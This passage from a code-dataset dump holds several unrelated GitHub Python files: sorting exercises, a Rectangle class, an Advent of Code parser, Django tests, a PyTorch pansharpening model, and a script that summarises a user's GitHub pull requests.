domains[min_index], domains[i]\n \n return domains\n \n \ndef califormia(names):\n '''\n @brief 按照seq中的字母大小顺序排序姓名列表\n seq = [r, w, q, o, j, m, v, a, h, b, s, g, z, x, n, t, c, i, e, k, u, p, d, y, f, l]\n '''\n def lesser(rst, snd):\n seq = {'r':0, 'w':1, 'q':2, 'o':3, 'j':4, 'm':5, 'v':6, 'a':7, 'h':8, 'b':9, 's':10, 'g':11, 'z':12, 'x':13, 'n':14, 't':15, 'c':16, 'i':17, 'e':18, 'k':19, 'u':20, 'p':21, 'd':22, 'y':23, 'f':24, 'l':25}\n rst = rst.lower()\n snd = snd.lower()\n for i in range(min(len(rst), min(len(snd)))):\n if seq[rst[i]] < seq[snd[i]]:\n return 1 #<\n elif seq[rst[i]] > seq[snd[i]]:\n return 2 #>\n \n if len(rst) == len(snd):\n return 0\n elif len(rst) < len(snd):\n return 1\n else:\n return 2\n \n \n for i in range(len(names)):\n max_index = i \n for j in range(i + 1, len(names)):\n if lesser(names[max_index], names[j]) != 2:\n min_index = j\n\n names[i], names[min_index] = names[min_index], names[i]\n \n return names\n \n \ndef kendall_tau(rst, snd):\n '''\n @brief 2.5.19 两组排列之间的kendall_tau距离\n @note Kendall tau距离就是两个排列之间的逆序数,它反映了两个排列的相似程度。\n 例如两个在区间[ 0 , 6 ]的排列:\n a = { 0, 3, 1, 6, 2, 5, 4 }\n b = { 1, 0, 3, 6, 4, 2, 5 }\n 两个排列之间的逆序{ 0,1 },{ 3,1 },{ 2,4 },{ 5,4 },一共为4对,故Kendall tau距离为4。\n 也就是说列出的数对,在第一个数组中为[rst, snd],第二个数组中为[snd, rst]\n '''\n tmp = [0] * len(rst)\n for i in range(len(rst)):\n tmp[rst[i]] = i\n \n tmp2 = [0] * len(snd)\n for i in range((len(snd))):\n tmp2[i] = tmp[snd[i]]\n \n def insert_sort(l):\n count = 0\n for i in range(1, len(l)):\n j = i\n while j > 0 and l[j] < l[j - 1]:\n l[j], l[j - 1] = l[j - 1], l[j]\n count += 1\n return count\n \n return insert_sort(tmp2)\n \ndef free_time(tasks):\n '''\n @brief 2.5.20 给定多个任务的起始和结束时间,返回期间cpu空闲的最长时间\n @param tasks 每个元素是一个长度为2的list,[0] start, [1] end\n '''\n def sort_task(tasks):\n for i in range(len(tasks)):\n min_index = i \n for j in range(i + 1, len(tasks)):\n if tasks[min_index][1] > tasks[j][1]:\n min_index = j\n \n tasks[i], tasks[min_index] = tasks[min_index], tasks[i]\n \n return tasks\n \n tasks = sort_task(tasks)\n free_time = 0\n for i in range(1, len(tasks)):\n if tasks[i - 1][1] < tasks[i][1] and tasks[i][1] - tasks[i - 1][1] > free_time:\n free_time = tasks[i][1] - tasks[i - 1][1]\n \n return free_time\n \n \ndef sort_mult_vector(l):\n '''\n @brief 2.5.21 多维数组排序\n '''\n if not isinstance(l, list):\n return\n \n for i in range(len(l)):\n sort_mult_vector(l[i])\n \n def lesser(rst, snd):\n if isinstance(rst, list) and isinstance(snd, list):\n size_rst, size_snd = len(rst), len(snd)\n for i in range(min(size_rst, size_snd)):\n if rst[i] < snd[i]:\n return True\n elif rst[i] > snd[j]:\n return False\n else:\n pass\n \n return size_rst < size_snd\n else:\n return rst < snd\n \n def sort_sub(l):\n for i in range(len(l)):\n min_index = i\n for j in range(i + 1, len(l)):\n if lesser(l[min_index], l[j]):\n min_index = j\n \n l[min_index], l[i] = l[i], l[min_index]\n \n sort_sub(l)\n \n \ndef loyd(l, x, y):\n '''\n @brief 2.5.32 九宫格只空出一个位置将其他八个排序,每个棋子只要旁边有空位就可以向空位移动\n @param l 九宫格的数组\n @param x,y 空位的坐标\n @note TODO:unsolved\n '''\n \n \nif __name__ == '__main__':\n pass\n \n","repo_name":"grayondream/algorithm-forth","sub_path":"test/h2/2.5.py","file_name":"2.5.py","file_ext":"py","file_size_in_byte":6812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4873516523","text":"try:\r\n\r\n \r\n f=open(\"myfile\",\"w\")\r\n a,b=[int(x)for x in input('enter two integers').split()]\r\n c=a/b\r\n f.write(\"writing %d into file\" %c)\r\n\r\nexcept ZeroDivisionError:\r\n print(\"zero division error detected\")\r\n\r\nelse:\r\n print('you have entered a non zero number')\r\n\r\nfinally:\r\n f.close()\r\n print('file closed')\r\nprint('code after the exception')","repo_name":"amrutyajirobe/Python","sub_path":"Exceptions/finally,else.py","file_name":"finally,else.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23842161641","text":"# IMPORT STATEMENTS\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\n\n# SCRAPE DATA\nurl = \"https://www.cryptoslam.io/nftglobal\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.content, \"html.parser\")\n\n# EXTRACT DATA FROM HTML TABLE\ntable = soup.find(\"table\")\nrows = table.find_all(\"tr\")\n# STORE IN PANDAS DATAFRAME\ndata = []\nfor row in rows[1:]:\n cols = row.find_all(\"td\")\n cols = [col.text.strip() for col in cols]\n data.append(cols)\ncolumns = [\"rank\", \"name\", \"owner\", \"volume_7d\", \"sales_volume\", \"number_of_owners\", \"number_of_buyers\", \"price\"]\ndf = pd.DataFrame(data, columns=columns)\n\n# CONVERT DATA TYPES\ndf[\"rank\"] = df[\"rank\"].astype(int)\ndf[\"volume_7d\"] = df[\"volume_7d\"].astype(float)\ndf[\"sales_volume\"] = df[\"sales_volume\"].astype(float)\ndf[\"number_of_owners\"] = df[\"number_of_owners\"].astype(int)\ndf[\"number_of_buyers\"] = df[\"number_of_buyers\"].astype(int)\ndf[\"price\"] = df[\"price\"].str.replace(\",\", \"\").astype(float)\n\n# PERFORM LINEAR REGRESSION\nX = df[[\"sales_volume\", \"number_of_owners\", \"number_of_buyers\"]]\ny = df[\"price\"]\nreg = LinearRegression().fit(X, y)\n\n# PRINT MODEL COEFFICIENTS\nprint(\"Coefficients: \", reg.coef_)\nprint(\"Intercept: \", reg.intercept_)\n\n# MAKE PREDICTIONS\nnew_data = np.array([[100, 10, 20], [200, 20, 30]])\npredictions = reg.predict(new_data)\nprint(\"Predictions: \", predictions)\n\n# VISUALIZE DATA\nfig, ax = plt.subplots()\nax.scatter(df[\"sales_volume\"], df[\"price\"])\nax.plot(df[\"sales_volume\"], reg.predict(X), color=\"red\")\nax.set_xlabel(\"Sales Volume\")\nax.set_ylabel(\"Price\")\nax.set_title(\"Linear Regression Model\")\nplt.show()\n","repo_name":"rykalc/STAT4185_Final_Project","sub_path":"FinalProjectCode4.py","file_name":"FinalProjectCode4.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43718862161","text":"#!/usr/bin/python3\n\"\"\"\nModule Name: models/rectangle.py\nDescription: This module provides ``Rectangle`` class.\nAuthor: Fawaz Abdganiyu \n\n\"\"\"\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n \"\"\"A Rectangle class definition\n\n Args:\n width (int): The width of the rectangle\n height (int): The height of the rectangle\n x (int):\n y (int):\n\n Attributes:\n width (int): The width of the rectangle\n height (int): The height of the rectangle\n x (int): The position of the rectangle in x direction\n y (int): The position of the rectangle in y direction\n\n \"\"\"\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\"Instantiations\n \"\"\"\n super().__init__(id)\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n\n def __str__(self):\n \"\"\"Overide str method.\n \"\"\"\n return (f'[Rectangle] ({self.id}) {self.x}/{self.y} - '\n f'{self.width}/{self.height}')\n\n @property\n def width(self):\n \"\"\"Gets and sets width of the rectangle\n\n Args:\n value (int): The value to set the width to\n \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n if type(value) is not int:\n raise TypeError(\"width must be an integer\")\n if value <= 0:\n raise ValueError(\"width must be > 0\")\n self.__width = value\n\n @property\n def height(self):\n \"\"\"Gets and sets the height of the rectangle.\n\n Args:\n value (int): The value to set the height to\n\n \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n if type(value) is not int:\n raise TypeError(\"height must be an integer\")\n if value <= 0:\n raise ValueError(\"height must be > 0\")\n self.__height = value\n\n @property\n def x(self):\n \"\"\"gets and sets x position of the rectangle\n\n Args:\n value (int): The value to set x to\n\n \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n if type(value) is not int:\n raise TypeError(\"x must be an integer\")\n if value < 0:\n raise ValueError(\"x must be >= 0\")\n self.__x = value\n\n @property\n def y(self):\n \"\"\"gets and sets y position of the rectangle\n\n Args:\n value (int): The y position to set the rectangle to.\n\n \"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n if type(value) is not int:\n raise TypeError(\"y must be an integer\")\n if value < 0:\n raise ValueError(\"y must be >= 0\")\n self.__y = value\n\n def area(self):\n \"\"\"returns the area value of the rectangle\"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\"prints in stdout the Rectangle instance with the character #\n x and y is yet to be handled\n \"\"\"\n print('\\n' * self.y, end='')\n for h in range(self.height):\n print(' ' * self.x, end='')\n print('#' * self.width)\n\n def update(self, *args, **kwargs):\n \"\"\"Update the attributes of the object based on a variable\n number of arguments.\n\n This method allows updating one or more attributes\n of the object in a flexible way.\n\n Args:\n *args (int): Variable number of arguments.\n 1st argument (if provided) should be the id attribute\n 2nd argument (if provided) should be the width attribute\n 3rd argument (if provided) should be the height attribute\n 4th argument (if provided) should be the x attribute\n 5th argument (if provided) should be the y attribute\n\n Returns:\n None\n\n Example:\n # Create a rectangle instance\n r = Rectangle(10, 10, 10, 10, 20)\n\n # Update the parameters\n r.update(12, 3, 6, 5, 2)\n\n r.update(id=7, width=3, height=2, x=3, y=5)\n\n Note:\n Any attribute can be updated and all attributes may not be updated\n at once\n\n \"\"\"\n if args:\n arg_name = ['id', 'width', 'height', 'x', 'y']\n for i, arg in enumerate(args):\n if i < len(arg_name):\n setattr(self, arg_name[i], arg)\n elif kwargs:\n for k, v in kwargs.items():\n if hasattr(self, k):\n setattr(self, k, v)\n\n def to_dictionary(self):\n \"\"\" returns the dictionary representation of a Rectangle\n \"\"\"\n return {'id': self.id, 'width': self.width, 'height': self.height,\n 'x': self.x, 'y': self.y}\n","repo_name":"Fawazabdganiyu/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10077891628","text":"'''\n763. Partition Labels\nA string S of lowercase English letters is given. We want to partition this string into as many parts as possible so that each letter appears in at most one part, and return a list of integers representing the size of these parts.\n\n\n\nExample 1:\n\nInput: S = \"ababcbacadefegdehijhklij\"\nOutput: [9,7,8]\nExplanation:\nThe partition is \"ababcbaca\", \"defegde\", \"hijhklij\".\nThis is a partition so that each letter appears in at most one part.\nA partition like \"ababcbacadefegde\", \"hijhklij\" is incorrect, because it splits S into less parts.\n\n\nNote:\n\nS will have length in range [1, 500].\nS will consist of lowercase English letters ('a' to 'z') only.\n\n763. 划分字母区间\n字符串 S 由小写字母组成。我们要把这个字符串划分为尽可能多的片段,同一个字母只会出现在其中的一个片段。返回一个表示每个字符串片段的长度的列表。\n\n\n\n示例 1:\n\n输入:S = \"ababcbacadefegdehijhklij\"\n输出:[9,7,8]\n解释:\n划分结果为 \"ababcbaca\", \"defegde\", \"hijhklij\"。\n每个字母最多出现在一个片段中。\n像 \"ababcbacadefegde\", \"hijhklij\" 的划分是错误的,因为划分的片段数较少。\n\n\n提示:\n\nS的长度在[1, 500]之间。\nS只包含小写字母 'a' 到 'z' 。\n'''\n\n\nclass Solution(object):\n def partitionLabels(self, S):\n \"\"\"\n :type S: str\n :rtype: List[int]\n \"\"\"\n\n last = [0] * 26\n for i, ch in enumerate(S):\n last[ord(ch) - ord(\"a\")] = i\n\n partition = list()\n start = end = 0\n for i, ch in enumerate(S):\n end = max(end, last[ord(ch) - ord(\"a\")])\n if i == end:\n partition.append(end - start + 1)\n start = end + 1\n\n return partition\n\n\n# tips\n\n'''\nTry to greedily choose the smallest partition that includes the first letter. \nIf you have something like \"abaccbdeffed\", then you might need to add b. \nYou can use an map like \"last['b'] = 5\" to help you expand the width of your partition.\n'''","repo_name":"MecaCho/algorithms_training","sub_path":"algorithms/greedy-alogrithms/leetcode-763-PartitionLabels.py","file_name":"leetcode-763-PartitionLabels.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13789134070","text":"'''\nDay 19\nhttps://adventofcode.com/2020/day/19\n\nAll credit for this solution goes to Borja Sotomayor. Without him I would be\ntrying to create all the valid passwords.\n'''\nimport util\nimport lark\n\n\ndef create_lark_grammer(inpt):\n '''\n Turns the input rules into grammar that lark can understand\n\n Inputs:\n inpt (lst of strs): the list of rules\n\n Outputs: a string of the grammar rules\n '''\n grammar = \"\"\n for line in inpt:\n grammar_name = \"\"\n grammar_rule = \"\"\n name, rule = line.split(\":\")\n if name == '0':\n grammar_name = \"start\"\n else:\n grammar_name = \"rule\" + name\n rule = rule.strip()\n if rule[0] == '\"':\n grammar_rule = rule\n elif \"|\" not in rule:\n rule = rule.split(\" \")\n for task in rule:\n if task != \" \":\n grammar_rule += \"rule\" + task + \" \"\n else:\n sub_grammar_rule1, sub_grammar_rule2 = \"\", \"\"\n sub1, sub2 = rule.split(\" | \")\n sub1 = sub1.split(\" \")\n sub2 = sub2.split(\" \")\n for task in sub1:\n if task != \" \":\n sub_grammar_rule1 += \"rule\" + task + \" \"\n for task in sub2:\n if task != \" \":\n sub_grammar_rule2 += \"rule\" + task + \" \"\n grammar_rule = sub_grammar_rule1 + \"| \" + sub_grammar_rule2\n grammar += grammar_name + \": \" + grammar_rule.strip() + \"\\n\"\n return grammar[:-1]\n\n\ndef task_solver(rules_inpt, passw_inpt):\n '''\n Runs lark on the grammar\n\n Inputs:\n rules_inpt (lst of str): The rules given\n passw_inpt (lst of str): the passwords to check\n \n Outputs: number (int) of valid passwords\n '''\n gram = create_lark_grammer(rules_inpt)\n parser = lark.Lark(gram)\n num_correct = 0\n for line in passw_inpt:\n try:\n parser.parse(line.strip())\n num_correct += 1\n except lark.exceptions.LarkError:\n pass\n return num_correct\n\n\nif __name__ == \"__main__\":\n tst = util.read_strs(\"inputs/day19_tst.txt\", sep = \"\\n\")\n for i, val in enumerate(tst):\n if val == \"\":\n break\n tst_rules = tst[:i]\n tst_codes = tst[i+1:]\n\n inpt = util.read_strs(\"inputs/day19_input.txt\", sep = \"\\n\")\n for j, val in enumerate(inpt):\n if val == \"\":\n break\n inpt_rules = inpt[:j]\n inpt_codes = inpt[j+1:]\n\n\n print(\"TASK 1\")\n util.call_and_print(task_solver, tst_rules, tst_codes)\n util.call_and_print(task_solver, inpt_rules, inpt_codes)\n\n task_2_rules = []\n for line in inpt_rules:\n if line == \"8: 42\":\n line = \"8: 42 | 42 8\"\n elif line == \"11: 42 31\":\n line = \"11: 42 31 | 42 11 31\"\n task_2_rules.append(line)\n print(\"\\nTASK 2\")\n util.call_and_print(task_solver, task_2_rules, inpt_codes)\n","repo_name":"eschondorf/advent_of_code","sub_path":"2020/day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2770229562","text":"from datetime import date\r\n\r\nimport pytest\r\nfrom authentication.models import User\r\nfrom chat.models import Room\r\nfrom djmoney.money import Money\r\nfrom jobs.models import Job\r\nfrom jobs.tasks import send_email_after_create_job\r\n\r\npytestmark = [pytest.mark.django_db]\r\n\r\n\r\ndef test_job_creator_create_job(creator, superuser):\r\n job = creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )()\r\n\r\n assert isinstance(job, Job)\r\n assert Job.objects.get_or_none(title='write binary tree generator with css') is not None\r\n\r\n\r\ndef test_job_correct_author(creator, superuser):\r\n job = creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )()\r\n\r\n assert isinstance(job.author, User)\r\n assert job.author == superuser\r\n\r\n\r\ndef test_job_author_must_be_active(creator, superuser):\r\n job = creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )()\r\n\r\n assert job.author.is_active\r\n\r\n\r\ndef test_job_creator_send_mail_to_creator(creator, superuser, mocker):\r\n job_creator = creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )\r\n\r\n mocker.patch('jobs.tasks.send_email_after_create_job.delay')\r\n job = job_creator()\r\n\r\n send_email_after_create_job.delay.assert_called_once_with(superuser.id, job.id)\r\n\r\n\r\ndef test_job_creator_call_create_room_method(creator, superuser, mocker):\r\n job_creator = creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )\r\n job_creator()\r\n\r\n mocker.patch('jobs.creator.JobCreator.create_room')\r\n\r\n job_creator.create_room.assert_not_called()\r\n\r\n\r\ndef test_job_creator_create_room(creator, superuser):\r\n creator(\r\n author=superuser,\r\n title='write binary tree generator with css',\r\n description='it`s ez',\r\n price=Money(100500, 'USD'),\r\n is_price_fixed=True,\r\n deadline=date.today()\r\n )()\r\n\r\n assert Room.objects.get_or_none(name=f'write binary tree generator with css:{superuser.username}')\r\n","repo_name":"pykulytsky/freelance-service","sub_path":"src/jobs/tests/test_job_creator.py","file_name":"test_job_creator.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24679147073","text":"import torch\nimport torch.nn as nn\nfrom einops import rearrange, repeat\nimport torch.nn.functional as F\nimport numpy as np\nfrom utils import Downsample,Upsample,SimpleGate,get_edge\nfrom IRB import CSTB\nfrom Attention import FusionconBlock\nfrom FEB import MDCDB\nfrom config import opt\nfrom initalize import init_weights\n\nclass MPFINet(nn.Module):\n def __init__(self):\n super(MPFINet, self).__init__()\n\n # define head body\n self.head_ms = nn.Conv2d(in_channels=3,\n out_channels=opt.stem_64,\n kernel_size=opt.kernel_size,\n padding=(opt.kernel_size // 2),\n stride=1)\n self.head_pan = nn.Conv2d(in_channels=3,\n out_channels=opt.stem_16,\n kernel_size=opt.kernel_size,\n padding=(opt.kernel_size // 2),\n stride=1)\n D = 3\n Cnum = 2\n RDBS1 = []\n for d in range(D):\n RDBS1.append(MDCDB(G0=opt.stem_16,G_out=opt.stem_16, C=Cnum, G=opt.stem_16//2))\n self.RDBS1 = nn.Sequential(*RDBS1)\n\n #stage2 downsample\n self.Downsample1 = Downsample(n_feat=opt.stem_16)\n\n RDBS2 = []\n for d in range(D):\n RDBS2.append(MDCDB(G0=opt.stem_32,G_out=opt.stem_32, C=Cnum, G=opt.stem_32//2))\n self.RDBS2 = nn.Sequential(*RDBS2)\n\n #stage3 Downsample\n self.Downsample2 = Downsample(n_feat=opt.stem_32)\n RDBS3 = []\n for d in range(D):\n RDBS3.append(MDCDB(G0=opt.stem_64, G_out=opt.stem_64, C=Cnum, G=opt.stem_64 // 2))\n self.RDBS3 = nn.Sequential(*RDBS3)\n\n\n # ################Fusion\n self.fusion1 = FusionconBlock(in_planes = 64,c_num_heads = 8)\n self.fusion2 = FusionconBlock(in_planes = 32,c_num_heads = 4)\n self.fusion3 = FusionconBlock(in_planes = 16,c_num_heads = 2)\n\n ################MS\n self.tranf1_ms = nn.Sequential(*[\n CSTB(ms_stem=opt.stem_64*2, expansion=opt.expansion,num_heads=opt.channel_heads[0])\n for i in range(3)])\n self.sg = SimpleGate()\n self.Upsample1 = Upsample(opt.stem_64)\n\n #stage2\n self.tranf2_ms = nn.Sequential(*[\n CSTB(ms_stem=opt.stem_64, expansion=opt.expansion,num_heads=opt.channel_heads[1])\n for i in range(3)])\n self.Upsample2 = Upsample(opt.stem_32)\n\n #stage3\n self.tranf3_ms = nn.Sequential(*[\n CSTB(ms_stem=opt.stem_32, expansion=opt.expansion,num_heads=opt.channel_heads[2])\n for i in range(3)])\n # tail\n self.tail = nn.Sequential(\n nn.Conv2d(in_channels=opt.stem_16, out_channels=3, kernel_size=opt.kernel_size,\n padding=(opt.kernel_size // 2), stride=1),\n nn.PReLU()\n )\n\n # initialise weights\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n init_weights(m, init_type='kaiming')\n elif isinstance(m, nn.BatchNorm2d):\n init_weights(m, init_type='kaiming')\n\n def forward_once(self, xr4):\n # shallow feature extract\n xr4_1 = self.head_pan(xr4)#(B,16,256,256)\n #stage1\n xr4_cnn1 = self.RDBS1(xr4_1)# (B,16,256,256)\n xr4_1_out = xr4_1+xr4_cnn1\n\n #stage2\n xr4_2 = self.Downsample1(xr4_1_out)# (B,32,128,128)\n xr4_cnn2 = self.RDBS2(xr4_2) # (B,32,128,128)\n xr4_2_out = xr4_2+ xr4_cnn2\n\n #stage3\n xr4_3 = self.Downsample2(xr4_2_out) # (B,64,64,64)\n xr4_cnn3 = self.RDBS3(xr4_3) # (B,64,64,64)\n xr4_3_out = xr4_3+xr4_cnn3\n\n return xr4_1_out,xr4_2_out,xr4_3_out#x1,x2,x3\n\n def forward(self, x_pan, x_ms):\n x_pan = torch.concat((x_pan,x_pan,x_pan),dim=1)\n x_ms_up4 = F.interpolate(x_ms, scale_factor=4, mode='bicubic', align_corners=False, recompute_scale_factor=True)\n x_residue4 = x_pan - x_ms_up4\n re_pan1, re_pan2, re_pan3 = self.forward_once(x_residue4)\n\n ############MS\n x_ms = self.head_ms(x_ms) # ms(64*64*64)\n mp_fused1 = self.fusion1(x_ms,re_pan3)# (B,128,64,64)\n mp_tran1 = self.sg(self.tranf1_ms(mp_fused1))# (B,64,64,64)\n mp_tran1 = mp_tran1 + re_pan3 + x_ms\n mp_up1 = self.Upsample1(mp_tran1)# (B,32,128,128)\n\n #stage2\n mp_fused2 = self.fusion2(mp_up1, re_pan2) # (B,64,128,128)\n mp_tran2 = self.sg(self.tranf2_ms(mp_fused2)) # (B,32,128,128)\n mp_tran2 = mp_tran2 + re_pan2 + mp_up1\n mp_up2 = self.Upsample2(mp_tran2) # (B,16,256,256)\n\n # stage3\n mp_fused3 = self.fusion3(mp_up2, re_pan1)# (B,32,256,256)\n mp_tran3 = self.sg(self.tranf3_ms(mp_fused3)) # (B,16,256,256)\n mp_tran3 = mp_tran3 + re_pan1 + mp_up2\n\n #tail\n x = self.tail(mp_tran3)\n\n return x\n\n def load_state_dict(self, state_dict, strict=False):\n own_state = self.state_dict()\n for name, param in state_dict.items():\n if name in own_state:\n if isinstance(param, nn.Parameter):\n param = param.data\n try:\n own_state[name].copy_(param)\n except Exception:\n if name.find('tail') >= 0:\n print('Replace pre-trained upsampler to new one...')\n else:\n raise RuntimeError('While copying the parameter named {}, '\n 'whose dimensions in the model are {} and '\n 'whose dimensions in the checkpoint are {}.'\n .format(name, own_state[name].size(), param.size()))\n elif strict:\n if name.find('tail') == -1:\n raise KeyError('unexpected key \"{}\" in state_dict'\n .format(name))\n\n if strict:\n missing = set(own_state.keys()) - set(state_dict.keys())\n if len(missing) > 0:\n raise KeyError('missing keys in state_dict: \"{}\"'.format(missing))\n\n\nif __name__ == \"__main__\":\n model = MPFINet().cuda()\n model.train()\n input_ms,input_pan = torch.rand(1, 3, 64, 64),torch.rand(1,1,256,256)\n sr= model(input_pan.cuda(),input_ms.cuda())\n print('size',sr.size())\n","repo_name":"Feng-yuting/MPFINet","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4406548489","text":"import os\nimport numpy as np\nfrom Applications.kmeans.kmeansfunctions import HistoryMean, CalculateDistanceD, CalculateCenterListD\nfrom CutAndExport.Histogram import HistogramWithMinMaxList\n\n#################################################################\nk = 50\nenergy = \"5000\"\nreadfileName = \"FT9\"\n\n#################################################################\nos.chdir(\"../../\")\ndim = 12\n\nfor n in range(0, 21):\n data = np.loadtxt(\"_DataFolder/kmeans/cs/E{0}/{1}/{1}-{0}-{2}.csv\".format(energy, readfileName, n), delimiter=',')\n kmeansData = np.loadtxt(\"_DataFolder/kmeans/kmeans/E{0}/{1}/{1}-{0}-{2}-{3}-all.csv\".format(energy, readfileName, k, n), delimiter=',')\n distanceAll = []\n for i in range(0, len(kmeansData)):\n data[:, dim] = kmeansData[i, :]\n centersAll = CalculateCenterListD(data, dim, k)\n distanceAll.append(CalculateDistanceD(data, dim, centersAll))\n distanceAllArray = np.array(distanceAll)\n allMean = np.mean(distanceAllArray, axis=0)\n np.savetxt(\"_DataFolder/kmeans/distances/E{0}/{1}/{1}-{0}-{2}-{3}-meandist.csv\".format(energy, readfileName, k, n), allMean, delimiter=',', fmt='%f')\n res1 = HistogramWithMinMaxList(allMean, [2000, 20000], 50)\n print(res1.listCount)\n","repo_name":"NBAlexis/MLAnalysis","sub_path":"Applications/kmeans/ktodistanceall.py","file_name":"ktodistanceall.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"38270468991","text":"import os\n\nimport requests\nfrom flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef frontend():\n SVC = os.environ.get(\"SVC_URL\")\n\n response = requests.get(f\"http://{SVC}/color\")\n color = response.json()[\"color\"]\n return f\"

Hello KCD!

\"\n\n","repo_name":"gefyrahq/gefyra-demos","sub_path":"kcd-munich/frontend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"39860670655","text":"#!/usr/bin/env python3\n\nimport github\nimport jinja2\nimport markdown\nimport os\n\ndef get_pull_requests_created_by(client, organization, username, state, filter, verbose=True):\n prs = []\n\n for repo in client.get_organization(organization).get_repos():\n for pr in repo.get_pulls(state=state):\n login = pr.user.login\n if login == username:\n if state == \"closed\" and not pr.merged:\n continue\n\n if \"{}/{}\".format(organization, repo.name) in filter:\n continue\n\n link = markdown.markdown(\"{}/{} #{} · {}\".format(\n pr.html_url,\n organization,\n repo.name,\n pr.number,\n pr.title,\n ))\n\n prs.append({\n \"org\": organization,\n \"repo\": repo.name,\n \"number\": pr.number,\n \"title\": pr.title,\n \"url\": pr.html_url,\n \"updated_at\": pr.updated_at,\n \"link\": link,\n \"draft\": pr.draft,\n \"mergeable\": pr.mergeable,\n })\n\n if verbose:\n print(\"{}: {}/{} #{} · {}\".format(\n state,\n organization,\n repo.name,\n pr.number,\n pr.title,\n ))\n\n return prs\n\ndef main():\n GITHUB_ACCESS_TOKEN = os.environ.get(\"GITHUB_ACCESS_TOKEN\", \"\")\n GITHUB_USER = os.environ.get(\"GITHUB_USER\", \"\")\n\n client = github.Github(GITHUB_ACCESS_TOKEN)\n\n context = {\n \"elementary\": {\n \"open\": [],\n \"merged\": [],\n },\n \"manexim\": {\n \"open\": [],\n \"merged\": [],\n },\n \"other\": {\n \"open\": [],\n \"merged\": [],\n },\n }\n \n orgs_on_github = [\n (\"elementary\", [\"elementary/appcenter-reviews\"]),\n (\"manexim\", []),\n ]\n\n for org_on_github in orgs_on_github:\n name = org_on_github[0]\n filter = org_on_github[1]\n\n context[name][\"open\"] = get_pull_requests_created_by(client, name, GITHUB_USER, \"open\", filter)\n context[name][\"merged\"] = get_pull_requests_created_by(client, name, GITHUB_USER, \"closed\", filter)\n\n context[name][\"open\"].sort(key=lambda pr: pr[\"updated_at\"], reverse=True)\n context[name][\"merged\"].sort(key=lambda pr: pr[\"updated_at\"], reverse=True)\n \n context[\"other\"][\"merged\"].append({\n \"link\": 'GNOME/libhandy #671 · carousel-box: Invalidate cache for children size allocate'\n })\n context[\"other\"][\"merged\"].append({\n \"link\": 'plymouth/plymouth #125 · Use fallback image if BGRT is not supported'\n })\n\n template_text = open(\"README.md.jinja2\", \"r\").read()\n template = jinja2.Template(template_text)\n text = template.render(context)\n\n f = open(\"README.md\", \"w\")\n f.write(text)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"meisenzahl/meisenzahl","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"69810382772","text":"#Simulation of a rocket launch just for fun\nimport time\n\ndef Launch_Countdown(length_of_countdown):\n while(length_of_countdown != 0):\n print (length_of_countdown)\n time.sleep(1)\n length_of_countdown-=1\n print(\"LIFT OFF\")\n\ndef Assemble_Rocket(propulsionForce=0,mass=0,fuel=0,depletionRate=0):\n current_Configuration = {\n \"force\": propulsionForce,\n \"fuel\":fuel,\n \"mass\":mass,\n \"depletionRate\":depletionRate\n }\n return current_Configuration\n\ndef EditSpaceCraft(rocket):\n\n return rocket\n\n\ndef Launch():\n rocket = Assemble_Rocket(109.8,20,100,1)\n 